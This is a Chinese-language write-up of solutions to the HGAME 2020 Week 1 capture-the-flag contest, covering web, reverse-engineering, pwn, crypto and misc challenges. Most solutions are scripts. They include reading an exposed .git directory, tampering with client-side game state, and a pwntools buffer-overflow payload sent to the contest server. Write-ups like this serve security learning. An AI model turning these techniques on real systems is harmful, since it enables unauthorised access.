HGAME 2020 Week1 wp

新年快乐

还有,本人萌新,求大佬指正

Web

1. Cosmos 的博客


版本管理工具,应该是git,访问./.git/config发现成功了,从里面找到了远程仓库的地址。

访问,切换版本,解base64即可得flag。

2. 接 头 霸 王

按照一步一步的提示构造头即可,请求方式为POST,最终构造的头如下

3. Code World

GET请求发现302跳转,请求POST发现正常。根据提示POST的a为运算后值10,直接0+10发现错误,根据题目提示CodeWorld联想到URLEncode,POST内容改为0%2b10,提示错误,根据提示,访问./index.php?a=10%2b0,成功获取flag。

4. 🐔尼泰玫

游戏很好玩。
F12查看源码,发现js的_main方法。

通过Console获取_main对象的属性和方法,console.log(_main.start),发现Score对象。点击开始游戏,修改_main.score对象中的值,比如修改_main.score.score = 100000000,玩游戏,得到flag。

Reverse

1. maze

查看一下文件类型

使用IDA64打开,F5

发现迷宫,写小程序跑就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <cstdio>
#include <string>
using namespace std;
typedef unsigned char byte;
static const byte arr[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1,
1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0,
1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1,
1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0,
1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1,
1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0,
0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1,
1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0,
1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1,
1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1,
1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0,
1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0,
1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1,
1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1,
0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1,
0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1,
1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0,
1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0,
1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1,
1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1,
1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0,
0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1,
1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1,
0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0,
1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0,
0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0,
1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1,
1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0,
0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0,
1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1,
0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0,
1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1,
0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1,
0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1,
1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0,
1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1,
1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0,
0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1,
1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0,
0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0,
1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0,
1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1,
1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1,
1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1,
0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1,
1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0,
1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1 };
const byte *start = arr + 32;
const byte *end = arr + 1052;
const byte *ex = arr + 988;
const byte *st = arr + 100;
int main() {
const byte *cur = start;
for (int i = 0; i < 16; ++i) {
for (int j = 0; j < 16; ++j) {
int now = *(int*)cur;
if (cur == ex)
printf("%s", "e");
else if (cur == st)
printf("%s", "s");
else
printf("%s", (now & 1) ? "n" : "y");
cur += 4;
}
printf("\n");
}
system("pause");
}

根据路线就能得到flag。

2. bitwise_operation2

步骤同上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <cstdio>
#include <bitset>
using namespace std;
void int2hex(unsigned char *inte, char *buf) {
for (int i = 0; i < 8; ++i) {
sprintf(&buf[2*i], "%02x", inte[i]);
}
}
int main() {
unsigned char tarr1[] = { 'e', '4', 's', 'y', '_', 'R', 'e', '_' };
unsigned char tarr2[] = { 'E', 'a', 's', 'y', 'l', 'i', 'f', '3' };
char v6[] = { 76, 60, -42, 54, 80, -120, 32, -52 };
unsigned char v7[8] = { 0 };
unsigned char v9[8] = { 0 };
for (int i = 0; i < 8; ++i) {
v7[i] = v6[i] ^ tarr1[i];
}
for (int i = 0; i < 8; ++i) {
v9[i] = tarr2[i] ^ v7[i];
}
/* *
* 进行了这样的运算,有两个二进制int8,分别为v7 : abcdefgh和v9 : ABCDEFGH,进行运算完成后分别为
* v7 : aAcCeEgG和v9 : bBdDfFhH
* 在此之前,v7还把前三位放到最后,把后五位移到前面
* */
for (int i = 0; i < 8; ++i) {
bitset<8> v7t = v7[i];
bitset<8> v9t = v9[7 - i];
bitset<8> v7to = v7t;
bitset<8> v9to = v9t;
for (int j = 0; j < 8; j += 2) {
v9to[j + 1] = v7t[j];
v7to[j] = v9t[j + 1];
}
string v7str = v7to.to_string();
v7to = bitset<8>(v7str.substr(5, 3) + v7str.substr(0, 5));
v7[i] = v7to.to_ulong();
v9[7 - i] = v9to.to_ulong();
}
char str1[17] = { 0 };
char str2[17] = { 0 };
int2hex(v7, str1);
int2hex(v9, str2);
printf("%s %s", str1, str2);
}

3. advance

步骤同上,在Strings界面找到字符串从而确定main函数位置,发现是替换base64TABLE的加密,根据base64原理写脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python2
# -*- coding: utf-8 -*-
def mask(t):
b = bin(t)
b = b[2:]
if len(b) != 6:
l = 6 - len(b)
for _ in range(l):
b = "0" + b
return b
base = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
map = {}
for i in range(0, 64):
map.setdefault(base[i], i)
map.setdefault("=", 0)
s = "0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX"
eqs = s.count("=")
s = s[:len(s) - eqs]
ans = "0b"
for c in s:
ans += mask(map[c])
ans += "00" if eqs == 1 else "0000" if eqs == 2 else ""
print(hex(eval(ans))[2:-1].decode("hex"))

4. cpp

程序使用了string和vector类,核心部分代码描述如下:

1
2
3
4
5
6
7
8
9
10
11
12
flag = input()
assert flag.startswith("hgame{") and flag[61] == "}"
values = [int(i) for i in flag[6:61].split("_")]
arr1 = [26727, 24941, 101, 29285, 26995, 29551, 29551, 25953, 29561]
arr2 = [1, 0, 1, 0, 1, 1, 1, 2, 2]
for j in range(3):
for k in range(3):
tmp = 0
for l in range(3):
tmp += arr2[3 * l + k] * values[l + 3 * j]
assert arr1[3 * j + k] == tmp
print(success)

可以发现是矩阵相乘,使用z3求解脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from z3 import *
v16 = [Int('z%d' % (i+1)) for i in range(9)]
v25 = [26727, 24941, 101, 29285, 26995, 29551, 29551, 25953, 29561]
v24 = [1, 0, 1, 0, 1, 1, 1, 2, 2]
solver = Solver()
for j in range(3):
for k in range(3):
v14 = 0
for l in range(3):
v14 += v24[3 * l + k] * v16[l + 3 * j]
solver.add(v25[3 * j + k] == v14)
print(solver.check())
assert solver.check() == sat
m = solver.model()
result = [m[i] for i in v16]
flag = "hgame{"
for i in result:
flag += str(i) + '_'
flag = flag[:-1] + "}"
print(flag)

Pwn

1. Hard_AAAAA

查看文件信息

拖进IDA分析,前123位是”A”,后面是给定的值就可以了。

1
2
3
4
5
from pwn import *
c = remote("47.103.214.163", 20000)
s = c.readline()
c.sendline(b"A"*123+b"0O0o\0O0")
c.interactive()

之后ls,cat flag

3. One_Shot

步骤同上


覆盖掉’\0‘就好了,因此首先输入32个”A”,再输入6295776就可以了。

Crypto

1. InfantRSA

真签到

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from Crypto.Util.number import inverse
p = 681782737450022065655472455411
q = 675274897132088253519831953441
e = 13
c = 275698465082361070145173688411496311542172902608559859019841
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, p*q)
print(hex(m)[2:-1].decode("hex"))

2. Affine

方程组,解一下就能出A,B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import inverse
TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)
A = 13
B = 14
cipher = 'A8I5z{xr1A_J7ha_vG_TpH410}'
flag = ''
for c in cipher:
ii = TABLE.find(c)
if ii == -1:
flag += c
else:
A_ = inverse(A, MOD)
i = A_ * (ii - B) % MOD
flag += TABLE[i]
print(flag)

3. not_One-time

只要数据足够多,我就能爆破出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import string
import base64
from socket import socket
TABLE = [ ord(x) for x in string.ascii_letters+string.digits]
PRINTABLE = [ord(x) for x in string.printable]
strlist = []
for _ in range(1024):
sock = socket()
sock.connect(("47.98.192.231", 25001))
strlist.append(base64.b64decode(sock.recv(1024)))
sock.close()
anslist = []
for i in range(0, 43):
setlist = []
for str in strlist:
chset = set()
for c in TABLE:
assert c < 256
assert str[i] < 256
tmp = c^str[i]
assert tmp < 256
if tmp in PRINTABLE:
chset.add(tmp)
setlist.append(chset)
ans = setlist[0]
for chset in setlist:
if len(chset) != 0:
ans &= chset
print(ans)
anslist.append(ans)
for s in anslist:
if len(s) == 1:
print(chr(s.pop()), end = "")
elif len(s) == 0:
print("|", end = "")
else:
print("*", end = "")

4. Reorder

置换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import socket
orderbox = []
origin = "abcdefghijklmnopqrstuvwxyzABCDEF".encode()
sock = socket()
sock.connect(("47.98.192.231", 25002))
sock.recv(1024)
sock.send(origin)
cipher = sock.recv(1024).split(b"\n")[0]
for c in cipher:
orderbox.append(origin.find(c))
sock.send(b"\n")
sock.recv(1024)
rec = sock.recv(1024)
cipher = rec.split(b"\n")[1]
origin = [""]*32
for i in range(32):
origin[orderbox[i]] = chr(cipher[i])
print("".join(origin))
sock.close()

MISC

1. 欢迎参加HGame!

先解base64,之后摩斯电码。

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import base64
lookup = {'!': '-.-.--', "'": '.----.', '"': '.-..-.', '$': '...-..-', '&': '.-...', '(': '-.--.', ')': '-.--.-', '+': '.-.-.', ',': '--..--', '-': '-....-', '.': '.-.-.-', '/': '-..-.', '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-', '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.', ':': '---...', ';': '-.-.-.', '=': '-...-',
'?': '..--..', '@': '.--.-.', 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--', 'Z': '--..', '_': '..--.-', }
lookup = dict(zip(lookup.values(), lookup.keys()))
str = "Li0tIC4uLi0tIC4tLi4gLS4tLiAtLS0tLSAtLSAuIC4uLS0uLSAtIC0tLSAuLi0tLi0gLi4tLS0gLS0tLS0gLi4tLS0gLS0tLS0gLi4tLS4tIC4uLi4gLS0uIC4tIC0tIC4uLi0t"
str = base64.b64decode(str.encode()).decode()
strarr = str.split(" ")
for str in strarr:
print(lookup[str], end="")

2. 壁纸

binwalk分析,foremost提取,找到壁纸的pixiv作者名字,去搜索就能搜到ID,之后就是常规操作。

4. 签到题ProPlus

好多次栅栏和凯撒实际可以等效为一次,按照字母频率可以找到凯撒的位移数目,之后就能解出来了。

作者

Uchiha Kakashi

发布于

2020-01-25

更新于

2020-05-23

许可协议